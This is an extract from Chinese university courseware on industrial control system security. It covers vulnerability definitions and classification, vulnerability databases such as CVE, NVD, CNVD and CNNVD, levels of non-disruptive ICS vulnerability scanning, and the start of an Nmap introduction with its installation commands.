工業(yè)控制系統(tǒng)安全與實踐 課件 第5、6章 工業(yè)控制系統(tǒng)漏洞檢測技術(shù)、工業(yè)控制系統(tǒng)入侵檢測與防護_第1頁
工業(yè)控制系統(tǒng)安全與實踐 課件 第5、6章 工業(yè)控制系統(tǒng)漏洞檢測技術(shù)、工業(yè)控制系統(tǒng)入侵檢測與防護_第2頁
工業(yè)控制系統(tǒng)安全與實踐 課件 第5、6章 工業(yè)控制系統(tǒng)漏洞檢測技術(shù)、工業(yè)控制系統(tǒng)入侵檢測與防護_第3頁
工業(yè)控制系統(tǒng)安全與實踐 課件 第5、6章 工業(yè)控制系統(tǒng)漏洞檢測技術(shù)、工業(yè)控制系統(tǒng)入侵檢測與防護_第4頁
工業(yè)控制系統(tǒng)安全與實踐 課件 第5、6章 工業(yè)控制系統(tǒng)漏洞檢測技術(shù)、工業(yè)控制系統(tǒng)入侵檢測與防護_第5頁
已閱讀5頁,還剩199頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

工業(yè)控制系統(tǒng)漏洞檢測技術(shù)123工業(yè)控制系統(tǒng)漏洞概念與分類工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理常見漏洞檢測工具介紹第五章

工業(yè)控制系統(tǒng)漏洞檢測技術(shù)14使用MetasploitFramework驗證工控軟件漏洞實踐

5GVM安裝設(shè)置、NVT插件編寫以及工控設(shè)備漏洞檢測實踐25.1工業(yè)控制系統(tǒng)漏洞概念與分類什么是漏洞?工業(yè)控制系統(tǒng)漏洞檢測技術(shù)是指針對工業(yè)控制系統(tǒng)中存在的相關(guān)安全漏洞進行探測、評估及報告的技術(shù)。在介紹工業(yè)控制系統(tǒng)漏洞檢測技術(shù)之前,有必要首先介紹一下漏洞以及工業(yè)控制系統(tǒng)漏洞的概念和常見分類。信息安全領(lǐng)域的相關(guān)研究機構(gòu)、標(biāo)準(zhǔn)化組織等對安全漏洞進行了不同的定義,常見的定義有:漏洞是計算機信息系統(tǒng)在需求、設(shè)計、實現(xiàn)、配置、運行等過程中,有意或無意產(chǎn)生的缺陷。這些缺陷以不同的形式存在于計算機信息系統(tǒng)的各個層次和環(huán)節(jié)之中,一旦被惡意主體所利用,就會對計算機信息系統(tǒng)的安全造成損害,從而影響計算機信息系統(tǒng)的正常運行。——CNNVD3安全漏洞(以下簡稱漏洞)是指信息系統(tǒng)在硬件、軟件、通信協(xié)議的設(shè)計與實現(xiàn)過程中或在系統(tǒng)安全策略上存在的缺陷和不足;非法用戶可利用安全漏洞獲得信息系統(tǒng)的額外權(quán)限,在未經(jīng)授權(quán)的情況下訪問或提高其訪問權(quán),破壞系統(tǒng),危害信息系統(tǒng)安全?!狢NVD(中國互聯(lián)網(wǎng)協(xié)會漏洞信息披露和處置自律公約——國家信息安全漏洞共享平臺())在軟件和硬件組件中發(fā)現(xiàn)的計算邏輯(例如代碼)中的缺陷,當(dāng)被利用時,會對機密性、完整性或可用性產(chǎn)生負面影響。在這種情況下,漏洞緩解措施通常涉及更改代碼,但可能也包括更改甚至棄用規(guī)范(例如,完全刪除受影響的協(xié)議或功能)?!薄ㄓ寐┒磁叮–VE)安全漏洞(Vulnerability)——計算機信息系統(tǒng)在需求、設(shè)計、實現(xiàn)、配置、測試、運行、維護等過程中,有意或無意產(chǎn)生的缺陷。這些缺陷以不同形式存在于計算機信息系統(tǒng)的各個層次和環(huán)節(jié)之中,一旦被惡意主體所利用,就會對計算機信息系統(tǒng)的安全造成損害,從而影響計算機信息系統(tǒng)的正常運行?!狦B/T33561——

2017(《信息安全技術(shù)安全漏洞分類》)5.1工業(yè)控制系統(tǒng)漏洞概念與分類4脆弱性(Vulnerability)——可能被一個或多個威脅利用的資產(chǎn)或控制的弱點?!狦B/T25069——2022(《信息安全技術(shù)術(shù)語》)、GB/T29246——2017/ISO/IEC27000:2016(《信息技術(shù)安全技術(shù)信息安全管理體系概述和詞匯》)網(wǎng)絡(luò)安全漏洞(CybersecurityVulnerability)——網(wǎng)絡(luò)產(chǎn)品和服務(wù)在需求分析、設(shè)計、實現(xiàn)、配置、測試、運行、維護等過程中,無意或有意產(chǎn)生的、有可能被利用的缺陷或薄弱點。——GB/T28458——2020(《信息安全技術(shù)網(wǎng)絡(luò)安全漏洞標(biāo)識與描述規(guī)范》)漏洞(Vulnerability)——信息系統(tǒng)、系統(tǒng)安全過程、內(nèi)部控制或?qū)嵤┲锌赡鼙煌{源利用或觸發(fā)的缺陷?!绹鴩野踩到y(tǒng)委員會(CommitteeonNationalSecuritySystems/CNSS)詞匯表漏洞或脆弱性(英語:Vulnerability),是指計算機系統(tǒng)安全方面的缺陷,使得系統(tǒng)或其應(yīng)用數(shù)據(jù)的保密性、完整性、可用性、訪問控制等面臨威脅。——維基百科5.1工業(yè)控制系統(tǒng)漏洞概念與分類5綜合上述的漏洞定義,統(tǒng)一對漏洞定義如下:漏洞(英文名稱:“Vulnerability”),是指信息系統(tǒng)(包括硬件、軟件、協(xié)議、配置等組件)在設(shè)計、實現(xiàn)、運維等過程中產(chǎn)生的缺陷,攻擊者利用此缺陷能夠在未授權(quán)的情況下破壞系統(tǒng)的機密性、完整性以及可用性。什么是工業(yè)控制系統(tǒng)漏洞?工業(yè)控制系統(tǒng)漏洞指的是在工業(yè)控制系統(tǒng)中存在的漏洞,根據(jù)上文對漏洞的定義,本文將工業(yè)控制系統(tǒng)漏洞定義為:工業(yè)控制系統(tǒng)(如PLC、RTU、HMI、SCADA、DCS等)在設(shè)計、實現(xiàn)、運維等過程中產(chǎn)生的硬件、軟件、協(xié)議以及配置缺陷。5.1工業(yè)控制系統(tǒng)漏洞概念與分類6常規(guī)漏洞的分類方式漏洞有許多不同的分類方式,有簡單寬泛的也有復(fù)雜精細的,比較常見的有:1)按照漏洞利用所需要的物理位置或系統(tǒng)訪問權(quán)限分類:本地漏洞。需要物理接觸目標(biāo)系統(tǒng)的硬件或使用操作系統(tǒng)級的有效賬號登錄到本地才能利用的漏洞。比較典型的是總線接口類硬件漏洞或本地權(quán)限提升漏洞,能讓攻擊者獲得目標(biāo)系統(tǒng)的高級訪問權(quán)限。遠程漏洞。攻擊者不需要物理接觸目標(biāo)系統(tǒng)或使用系統(tǒng)賬號登錄到本地,而是可以直接通過網(wǎng)絡(luò)發(fā)起攻擊及利用的漏洞。2)按漏洞關(guān)聯(lián)的主體分類:硬件漏洞。指由硬件的設(shè)計缺陷或邏輯錯誤引發(fā)的漏洞。如CPU指令邏輯錯誤、邊信道信息泄露、開放調(diào)試接口、DMA內(nèi)存直接訪問等。軟件漏洞。指由軟件的設(shè)計缺陷、編程錯誤等引起的漏洞。典型的如:緩沖區(qū)溢出、格式化字符串、SQL注入、競爭條件等。5.1工業(yè)控制系統(tǒng)漏洞概念與分類7常規(guī)漏洞的分類方式3)通用缺陷枚舉(CommonWeaknessEnumeration,CWE)是由美國MITRE公司開發(fā)的一個描述在軟件或硬件在架構(gòu)、設(shè)計以及編碼實現(xiàn)等環(huán)節(jié)中存在的安全缺陷與漏洞的通用規(guī)范,目前CWE版本4.7共包含1386個條目,其中包括視圖47個、類別351個、缺陷926個。其中CWE視圖1003使用一個兩級淺結(jié)構(gòu)將現(xiàn)有的公共或第三方漏洞(如美國國家漏洞庫NVD中的漏洞)進行了分類,共劃分為36個大類,91個小類。其中36個大類對應(yīng)的CWE編號和名稱如右表所示:CWEID名稱CWE-20輸入驗證不恰當(dāng)CWE-74輸出中的特殊元素轉(zhuǎn)義處理不恰當(dāng)(注入)CWE-116對輸出編碼和轉(zhuǎn)義不恰當(dāng)CWE-119內(nèi)存緩沖區(qū)邊界內(nèi)操作的限制不恰當(dāng)CWE-200信息暴露CWE-269特權(quán)管理不恰當(dāng)CWE-287認(rèn)證機制不恰當(dāng)CWE-311敏感數(shù)據(jù)加密缺失CWE-326不充分的加密強度CWE-327使用已被攻破或存在風(fēng)險的密碼學(xué)算法CWE-330使用不充分的隨機數(shù)CWE-345對數(shù)據(jù)真實性的驗證不充分CWE-362使用共享資源的并發(fā)執(zhí)行不恰當(dāng)同步問題(競爭條件)CWE-400未加控制的資源消耗(資源窮盡)CWE-404不恰當(dāng)?shù)馁Y源關(guān)閉或釋放CWE-436解釋沖突CWE-610資源在另一范圍的外部可控制索引CWE-665初始化不恰當(dāng)CWE-667加鎖機制不恰當(dāng)CWE-668將資源暴露給錯誤范圍CWE-669在范圍間的資源轉(zhuǎn)移不正確CWE-670控制流實現(xiàn)總是不正確CWE-672在過期或釋放后對資源進行操作CWE-674未經(jīng)控制的遞歸CWE-682數(shù)值計算不正確CWE-697不充分的比較CWE-704不正確的類型轉(zhuǎn)換CWE-706使用不正確的解析名稱或索引CWE-732關(guān)鍵資源的不正確權(quán)限授予CWE-754對因果或異常條件的不恰當(dāng)檢查CWE-755對異常條件的處理不恰當(dāng)CWE-834過度迭代CWE-862授權(quán)機制缺失CWE-863授權(quán)機制不正確CWE-913動態(tài)管理代碼資源的控制不恰當(dāng)CWE-922敏感信息的不安全存儲5.1工業(yè)控制系統(tǒng)漏洞概念與分類8常規(guī)漏洞的分類方式4)國家信息安全漏洞庫(CNNVD)將信息安全漏洞劃分為26種類型,分別是:配置錯誤、代碼問題、資源管理錯誤、數(shù)字錯誤、信息泄露、競爭條件、輸入驗證、緩沖區(qū)錯誤、格式化字符串、跨站腳本、路徑遍歷、后置鏈接、SQL注入、注入、代碼注入、命令注入、操作系統(tǒng)命令注入、安全特征問題、授權(quán)問題、信任管理、加密問題、未充分驗證數(shù)據(jù)可靠性、跨站請求偽造、權(quán)限許可和訪問控制、訪問控制錯誤、資料不足。5.1工業(yè)控制系統(tǒng)漏洞概念與分類9工業(yè)控制系統(tǒng)漏洞是指在工業(yè)控制系統(tǒng)(如PLC、RTU、HMI、SCADA、DCS等)中存在的硬件、軟件、協(xié)議以及配置缺陷。因此,采用關(guān)聯(lián)主體分類方式可以將工業(yè)控制系統(tǒng)漏洞分為硬件漏洞、軟件漏洞、通信協(xié)議漏洞以及配置缺陷漏洞四種。1)工業(yè)控制系統(tǒng)硬件漏洞工業(yè)控制系統(tǒng)硬件漏洞即工控機、PLC、RTU、IED、HMI、智能儀表、智能傳感器等工業(yè)設(shè)備中存在的指令邏輯錯誤或由串口、JTAG等調(diào)試接口或PCIExpress總線濫用而引起的信息泄露、設(shè)備遭入侵等基于硬件的漏洞。5.1工業(yè)控制系統(tǒng)漏洞概念與分類102)工業(yè)控制系統(tǒng)軟件漏洞工業(yè)控制系統(tǒng)軟件(英文:IndustrialSoftware)是指在工業(yè)控制系統(tǒng)中應(yīng)用的軟件,包括系統(tǒng)、應(yīng)用、中間件、嵌入式等。常見的工業(yè)控制系統(tǒng)軟件有嵌入式實時操作系統(tǒng)、PLC組態(tài)編程軟件、HMI/SCADA監(jiān)控軟件、數(shù)據(jù)庫、MES、PLM、ERP等。工控控制系統(tǒng)軟件漏洞就是就是這些工業(yè)軟件中存在的設(shè)計、實現(xiàn)等漏洞。3)工業(yè)控制協(xié)議漏洞工業(yè)控制協(xié)議(簡稱工控協(xié)議)是工業(yè)控制系統(tǒng)內(nèi)各設(shè)備間通信的基礎(chǔ)。在工業(yè)控制系統(tǒng)的發(fā)展過程中,各工控廠商除了使用公開的標(biāo)準(zhǔn)協(xié)議外,許多廠商為自己生產(chǎn)的工控系統(tǒng)或設(shè)備制定了專屬協(xié)議,造成工控協(xié)議種類繁多且私有協(xié)議眾多。此外,工業(yè)控制對高可靠性的要求以及早期工控系統(tǒng)封閉隔離的特點使得工控協(xié)議普遍對安全性重視不足。工控協(xié)議漏洞主要包括缺乏認(rèn)證、缺乏完整性檢查、缺乏加密機制以及功能碼濫用等。5.1工業(yè)控制系統(tǒng)漏洞概念與分類114)配置缺陷漏洞配置缺陷漏洞是指在工業(yè)控制系統(tǒng)的設(shè)計、配置、安裝和運行期間,由于錯誤、疏忽或意外導(dǎo)致的系統(tǒng)配置問題。一些常見的配置問題包括:未禁用默認(rèn)密碼或未更改默認(rèn)配置,例如,攻擊者可以用默認(rèn)密碼輕松訪問系統(tǒng)。系統(tǒng)更新和安全補丁未及時應(yīng)用,導(dǎo)致系統(tǒng)存在已知漏洞。未正確配置網(wǎng)絡(luò)安全控件,例如,未禁用不必要的端口、服務(wù)或協(xié)議。未限制對系統(tǒng)和數(shù)據(jù)的訪問,例如,未正確實施訪問控制和身份驗證機制。未進行系統(tǒng)和網(wǎng)絡(luò)監(jiān)視和日志記錄,使攻擊者能夠悄悄地進入和操作系統(tǒng)。硬件和軟件故障導(dǎo)致系統(tǒng)無法正常運行,例如,無法自動切換到備用系統(tǒng),從而影響生產(chǎn)過程。5.1工業(yè)控制系統(tǒng)漏洞概念與分類12什么是漏洞庫?漏洞庫,即漏洞數(shù)據(jù)庫,是一個旨在收集,維護和傳播有關(guān)已發(fā)現(xiàn)的計算機安全漏洞的信息的平臺。該數(shù)據(jù)庫通常將描述已識別的漏洞,評估對受影響系統(tǒng)的潛在影響,以及緩解該問題的任何解決方法或更新。漏洞庫為每個收錄的漏洞分配唯一標(biāo)識符,例如數(shù)字或字母數(shù)字名稱可,并且通常以通過網(wǎng)頁,導(dǎo)出或API來獲取數(shù)據(jù)庫中的信息。漏洞庫的結(jié)構(gòu)漏洞數(shù)據(jù)庫的內(nèi)容一般包含唯一的漏洞編號(ID)、漏洞名稱(Title)、漏洞類型(Type)、漏洞描述(Description)、漏洞等級(Severity)、影響范圍(Impact)、參考信息(Reference)、補丁信息(Patch)、發(fā)布時間(PublishTime)、修改時間(ModifyTime)等信息。下面以NVD和CNVD為例進行簡要說明。5.1工業(yè)控制系統(tǒng)漏洞概念與分類135.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理一個漏洞的數(shù)據(jù)由5個第一級的鍵(key)組成,分別是:cve、configurations、impact、publishedDate和lastModifiedDate,如下所示:其中cve是該漏洞對應(yīng)的CVE列表中的信息:5.2.1漏洞庫的概念、結(jié)構(gòu)14其中比較重要的信息有:CVE_data_meta——CVE元數(shù)據(jù),其中記錄了漏洞對應(yīng)的CVE編號:problemtype——漏洞對應(yīng)的CWE缺陷名稱:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)15references——漏洞的相關(guān)參考信息的地址及信息類型:description——漏洞的詳細描述:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)16ii.configurations鍵包含受此漏洞影響的資產(chǎn)配置列表,其中資產(chǎn)配置編號使用CPE格式:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)17iii.impace鍵包含使用CVSS版本2和版本3計算的漏洞嚴(yán)重性等級及分值:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)18CNVD漏洞數(shù)據(jù)格式下面是CNVD的數(shù)據(jù)源文件中一個編號為“CNVD-2022-37513”的漏洞的數(shù)據(jù)一個漏洞對應(yīng)一個“vulnerability”元素,一個“vulnerability”元素包括“number”、“title”等13個子元素:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)19其中:“number”元素表示漏洞在CNVD漏洞庫中的唯一編號:“cves”元素表示漏洞對應(yīng)在CVE列表中的編號:“title”元素表示漏洞的名稱:“serverity”元素表示漏洞的嚴(yán)重性等級:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)20“products”元素表示受此漏洞影響的資產(chǎn)配置列表:“isevent”元素表示漏洞類型是通用型還是事件型:“submittime”和“opentime”元素分別表示漏洞的提交時間和最后發(fā)布時間:“referencelink”元素表示漏洞的相關(guān)參考信息:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)21“formalway”元素表示漏洞目前有無官方修復(fù)措施:“description”元素是關(guān)于漏洞的詳細描述:“patchname”元素是此漏洞相應(yīng)的補丁名稱:“patchdescription”元素是此漏洞補丁的詳細描述信息:5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.1漏洞庫的概念、結(jié)構(gòu)22常見的漏洞庫有通用漏洞披露(CVE)、美國國家漏洞庫(NVD)、國家信息安全漏洞共享平臺(CNVD)、國家信息安全漏洞庫(CNNVD)等。CVE——通用漏洞披露(英文全稱是“CommonVulnerabilitiesandExposures”)。CVE項目由MITRE公司在1999年創(chuàng)立,旨在向公眾提供一個免費的信息安全漏洞列表(List),該列表可以識別、定義和編目公開披露的信息安全漏洞。每一個漏洞對應(yīng)列表中的一個記錄(Record),每一個記錄中包含對應(yīng)漏洞的編號(CVE-ID)、描述(Description)、參考信息(References)等內(nèi)容。通過對漏洞進行統(tǒng)一的編號,可以幫助使用者確保他們談?wù)摰氖峭粋€問題,并且方便在不同的漏洞數(shù)據(jù)庫和評估工具間共享數(shù)據(jù)。CVE提供CSV、HTML、XML、JSON等格式的數(shù)據(jù)供使用者下載,內(nèi)容實時更新。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.2常見工控漏洞庫介紹23NVD——美國國家漏洞數(shù)據(jù)庫(英文全稱是“NationalVulnerabilityDatabase”)。NVD是由美國國家標(biāo)準(zhǔn)與技術(shù)研究院(NIST)在2005年創(chuàng)建的一個使用安全內(nèi)容自動化(SCAP)協(xié)議進行漏洞管理的標(biāo)準(zhǔn)化的數(shù)據(jù)庫。NVD是對CVE披露的漏洞信息的綜合分析與擴展。通過分析產(chǎn)生漏洞嚴(yán)重性(通用漏洞評分系統(tǒng)-CVSS)、漏洞類型(通用弱點枚舉-CWE)和漏洞適用范圍(通用平臺枚舉-CPE)等漏洞相關(guān)數(shù)據(jù)。NVD不會主動執(zhí)行漏洞測試,而是依賴供應(yīng)商、第三方安全研究人員等提供這方面的信息。隨著更多漏洞相關(guān)信息的出現(xiàn),與漏洞相關(guān)的CVSS、CWE和CPE等數(shù)據(jù)可能會發(fā)生變化,NVD努力重新分析這些漏洞相關(guān)信息,以確保提供的數(shù)據(jù)是最新的。NVD提供每日更新的JSON格式漏洞數(shù)據(jù)供用戶免費下載,除此之外,NVD還提供實時更新的具有搜索功能的API供開發(fā)者調(diào)用。BugTraq——BugTraq是一個完整的對計算機安全漏洞(它們是什么,如何利用它們,以及如何修補它們)的公告及詳細論述進行適度披露的郵件列表。——Bugtraq()網(wǎng)站內(nèi)容已于2020年2月停止更新。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.2常見工控漏洞庫介紹24CNNVD——國家信息安全漏洞庫(英文名稱“ChinaNationalVulnerabilityDatabaseofInformationSecurity”簡稱“CNNVD”)。CNNVD由中國信息安全測評中心于2009年10月18日創(chuàng)立。CNNVD通過自主挖掘、社會提交、協(xié)作共享、網(wǎng)絡(luò)搜集以及技術(shù)檢測等方式,聯(lián)合政府部門、行業(yè)用戶、安全廠商、高校和科研機構(gòu)等社會力量,對涉及國內(nèi)外主流應(yīng)用軟件、操作系統(tǒng)和網(wǎng)絡(luò)設(shè)備等軟硬件系統(tǒng)的信息安全漏洞開展采集收錄、分析驗證、預(yù)警通報和修復(fù)消控工作。用戶通過CNNVD數(shù)據(jù)庫可以免費查詢漏洞信息、補丁信息、按產(chǎn)品/廠商/危害等級等分類的統(tǒng)計信息、每周/月的定期漏洞報告以及不定期的漏洞通告信息。CNNVD的注冊用戶可以以XML格式下載漏洞庫中的漏洞數(shù)據(jù),XML文件的內(nèi)容每日更新。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.2常見工控漏洞庫介紹25CNVD——國家信息安全漏洞共享平臺(英文名稱“ChinaNationalVulnerabilityDatabase”,簡稱“CNVD”)。CNVD是由國家計算機網(wǎng)絡(luò)應(yīng)急技術(shù)處理協(xié)調(diào)中心(中文簡稱國家互聯(lián)網(wǎng)應(yīng)急中心,英文簡稱CNCERT)聯(lián)合國內(nèi)重要信息系統(tǒng)單位、基礎(chǔ)電信運營商、網(wǎng)絡(luò)安全廠商、軟件廠商和互聯(lián)網(wǎng)企業(yè)建立的國家網(wǎng)絡(luò)安全漏洞庫。通過CNVD數(shù)據(jù)庫用戶可以免費查詢漏洞信息、補丁信息、安全公告以及漏洞成因/危險等級等統(tǒng)計數(shù)據(jù)。CNVD漏洞庫中所有的數(shù)據(jù)均以XML文件格式提供免費下載,XML文件格式的漏洞數(shù)據(jù)以周為單位發(fā)布。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.2常見工控漏洞庫介紹26漏洞檢測是一種主動的網(wǎng)絡(luò)安全防御措施,通過對網(wǎng)絡(luò)或主機進行掃描、滲透以及時發(fā)現(xiàn)安全漏洞,進而給出風(fēng)險評估報告和漏洞修復(fù)建議,從而幫助用戶掌握系統(tǒng)安全現(xiàn)狀、提升系統(tǒng)安全性。與針對傳統(tǒng)IT系統(tǒng)的漏洞檢測相比,針對工業(yè)控制系統(tǒng)的漏洞檢測在目標(biāo)系統(tǒng)的可用性要求、使用的端口協(xié)議等方面都有所不同,因此通常采用輕量級的檢測方式并配置合適的掃描策略。什么是漏洞檢測?5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.3工業(yè)控制系統(tǒng)漏洞檢測技術(shù)及原理27工業(yè)控制系統(tǒng)漏洞檢測技術(shù)分類及原理與傳統(tǒng)的針對IT系統(tǒng)的漏洞檢測相比,針對工業(yè)控制系統(tǒng)的漏洞檢測對維護目標(biāo)系統(tǒng)的可用性的要求非常高,即漏洞檢測應(yīng)該盡量少的影響系統(tǒng)的正常運行,不能對處于生產(chǎn)狀態(tài)的工控系統(tǒng)進行可能導(dǎo)致服務(wù)崩潰、宕機等問題的破壞性測試。用于驗證系統(tǒng)漏洞是否存在或可利用等可能影響系統(tǒng)運行的測試只能在仿真靶場或處于停機檢修狀態(tài)的實際系統(tǒng)中進行。另外,工控系統(tǒng)使用的網(wǎng)絡(luò)架構(gòu)和工控協(xié)議通常復(fù)雜多變,在進行端口列表、掃描策略等配置時也應(yīng)充分考慮這些特點。因此,根據(jù)所適應(yīng)的環(huán)境以及對目標(biāo)系統(tǒng)的影響程度,我們將針對工控系統(tǒng)的漏洞檢測技術(shù)分為普通級、輕量級、無損級三種不同的類別,下面分別對這些不同的檢測技術(shù)的特點、實現(xiàn)原理進行簡要介紹。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.3工業(yè)控制系統(tǒng)漏洞檢測技術(shù)及原理281)普通級工控漏洞檢測技術(shù)普通級工控漏洞檢測技術(shù)不對漏洞測試腳本的功能進行限制,允許服務(wù)崩潰、宕機等破壞性測試,適用于靶場、處于停機檢修狀態(tài)的系統(tǒng)等非生產(chǎn)環(huán)境。為了提高漏洞檢測的效率與準(zhǔn)確性,使用普通工控漏洞檢測技術(shù)進行測試時需要注意以下問題:充分考慮目標(biāo)系統(tǒng)的實際網(wǎng)絡(luò)配置情況。在制定合適的目標(biāo)存活測試(AliveTest)、端口掃描、服務(wù)發(fā)現(xiàn)乃至漏洞測試策略和方法時,應(yīng)充分考慮目標(biāo)系統(tǒng)的實際網(wǎng)絡(luò)配置情況(如網(wǎng)絡(luò)架構(gòu)、分區(qū)情況、是否有防火墻攔截過濾等);制定常見的工控協(xié)議、服務(wù)的端口列表。除了普通的網(wǎng)絡(luò)協(xié)議外,工控系統(tǒng)還使用特有的工控通信協(xié)議與服務(wù),這些工控協(xié)議與服務(wù)使用特定的端口進行通信,為提高漏掃測試的效率,應(yīng)制定常見的或適應(yīng)目標(biāo)系統(tǒng)特點的端口列表;保證漏掃系統(tǒng)與目標(biāo)系統(tǒng)能夠連接成功。在進行漏掃測試時應(yīng)確保漏掃系統(tǒng)能夠與目標(biāo)系統(tǒng)成功建立連接,避免出現(xiàn)因目標(biāo)系統(tǒng)連接資源耗盡而無法測試的情況;充分考慮設(shè)備的密碼保護情況。在對設(shè)備進行漏洞檢測時需要預(yù)先準(zhǔn)備好密碼或想辦法繞過密碼保護措施。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.3工業(yè)控制系統(tǒng)漏洞檢測技術(shù)及原理292)輕量級工控漏洞檢測技術(shù)輕量級工控漏洞檢測技術(shù)指的是對漏洞測試腳本的功能進行限制,不進行可能會導(dǎo)致網(wǎng)絡(luò)擁塞的大規(guī)模發(fā)包偵測或者會造成拒絕服務(wù)、系統(tǒng)宕機等狀況發(fā)生的破壞性測試。使用輕量級工控漏洞檢測技術(shù)除了需注意普通工控漏洞檢測技術(shù)需注意的問題外,還需要滿足以下要求:不進行可能造成拒絕服務(wù)、系統(tǒng)宕機等狀況的破壞性測試。在進行漏洞檢測時不能執(zhí)行具有破壞性的漏洞驗證、利用等操作,僅進行存活測試、端口掃描、服務(wù)發(fā)現(xiàn)、非破壞性的漏洞指紋探測以及硬件型號、軟/固件版本信息獲取等操作;減小存活測試、端口掃描、服務(wù)發(fā)現(xiàn)的發(fā)包速度與數(shù)量。增大發(fā)包間隔,減少偵測手段種類,減小超時重發(fā)次數(shù),以犧牲一定的測試速度與準(zhǔn)確度為代價使用簡單慢速的測試方法以降低發(fā)包速度和數(shù)量,避免對網(wǎng)絡(luò)狀況造成大的影響。另外可以結(jié)合手動提供資產(chǎn)列表的方式縮小測試范圍;限制漏洞檢測操作總量及并發(fā)進程數(shù),避免檢測時間過長或引起網(wǎng)絡(luò)擁塞從而對目標(biāo)系統(tǒng)造成不良影響。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.3工業(yè)控制系統(tǒng)漏洞檢測技術(shù)及原理303)無損級工控漏洞檢測技術(shù)無損級工控漏洞檢測技術(shù)是指在漏洞掃描測試時不主動向目標(biāo)系統(tǒng)發(fā)送任何數(shù)據(jù)包,目標(biāo)系統(tǒng)完全感受不到漏洞掃描測試的存在,從而完全不影響系統(tǒng)運行。無損工控漏洞檢測技術(shù)主要通過以下方法實現(xiàn):從手工提供的資產(chǎn)列表中收集目標(biāo)系統(tǒng)的資產(chǎn)、網(wǎng)絡(luò)結(jié)構(gòu)、設(shè)備型號、軟/固件版本等信息;從交換機的鏡像端口被動獲取網(wǎng)絡(luò)流量,從流量數(shù)據(jù)中進一步分析確定系統(tǒng)的資產(chǎn)、網(wǎng)絡(luò)結(jié)構(gòu)、協(xié)議、設(shè)備型號、軟/固件版本等信息;根據(jù)獲取的目標(biāo)系統(tǒng)信息在漏洞數(shù)據(jù)庫中進行查找比對,給出目標(biāo)系統(tǒng)可能存在的漏洞信息。5.2工業(yè)控制系統(tǒng)漏洞檢測基本概念及技術(shù)原理5.2.3工業(yè)控制系統(tǒng)漏洞檢測技術(shù)及原理311.簡介Nmap(NetworkMapper/網(wǎng)絡(luò)映射器)是一個開源的網(wǎng)絡(luò)探測和安全審計工具,可以掃描網(wǎng)絡(luò)上的主機和服務(wù),以確定它們的特征和漏洞。它可以掃描單個或某一特定網(wǎng)段的IP地址,提供目標(biāo)主機的開放端口、操作系統(tǒng)、運行的服務(wù)及版本以及網(wǎng)絡(luò)拓撲結(jié)構(gòu)等信息。配合腳本引擎NSE(NmapScriptingEngine),Nmap可以進行漏洞掃描、滲透測試、模糊測試等多種掃描和分析操作。5.3

常見漏洞檢測工具介紹5.3.1Nmap32123NmapGVMMetasploit2.Nmap的安裝Windows系統(tǒng):從官網(wǎng)(/dist/)下載相應(yīng)版本的安裝程序(如下圖所示),然后運行安裝程序進行安裝。Linux系統(tǒng):Ubuntu:運行安裝命令:sudoaptinstallnmapCentOS:運行安裝命令:sudoyuminstallnmap下載Windows系統(tǒng)Nmap安裝包5.3

常見漏洞檢測工具介紹5.3.1Nmap333.主要功能與執(zhí)行流程Nmap的主要功能包括:主機發(fā)現(xiàn)端口掃描服務(wù)和版本探測操作系統(tǒng)探測通過NSE腳本執(zhí)行的其他功能,如漏洞掃描、滲透測試、模糊測試等除去上述主要功能,還包括一些域名解析、時間與性能優(yōu)化、防火墻/入侵檢測系統(tǒng)繞過/欺騙等輔助功能。執(zhí)行一次Nmap掃描可以通過命令行參數(shù)組合各種不同的功能。有些功能如主機發(fā)現(xiàn)、端口掃描等是默認(rèn)執(zhí)行的,但可通過命令行參數(shù)進一步詳細定義。其他功能如服務(wù)和版本探測、操作系統(tǒng)探測、NSE腳本等默認(rèn)不執(zhí)行,需要通過命令行參數(shù)引入。各種不同功能的執(zhí)行有先后順序,一次包括各種功能的完整Nmap掃描的流程如下圖5.3

常見漏洞檢測工具介紹5.3.1Nmap34Nmap掃描流程一次完整的nmap掃描流程5.3

常見漏洞檢測工具介紹5.3.1Nmap354.NSE腳本類別與結(jié)構(gòu)NSE(NmapScriptingEngine)腳本是一種使用Nmap的NSE腳本引擎解析執(zhí)行的腳本,使用Lua語言編寫,用于增強或拓展Nmap的基本功能。它們允許用戶對目標(biāo)主機執(zhí)行漏洞掃描、滲透測試、模糊測試等各種自動化任務(wù),而在服務(wù)與版本探測等基本功能中也調(diào)用了NSE腳本引擎。Nmap自身帶有一個NSE腳本庫,同時用戶也可根據(jù)需要自行編寫實現(xiàn)特殊功能的NSE腳本。Nmap根據(jù)NSE腳本的功能特性將其分成許多類別,當(dāng)使用“—script={類別}”命令行參數(shù)時,所有屬于這一類別的腳本都將被調(diào)用執(zhí)行。NSE腳本的主要類別如下表所示。5.3

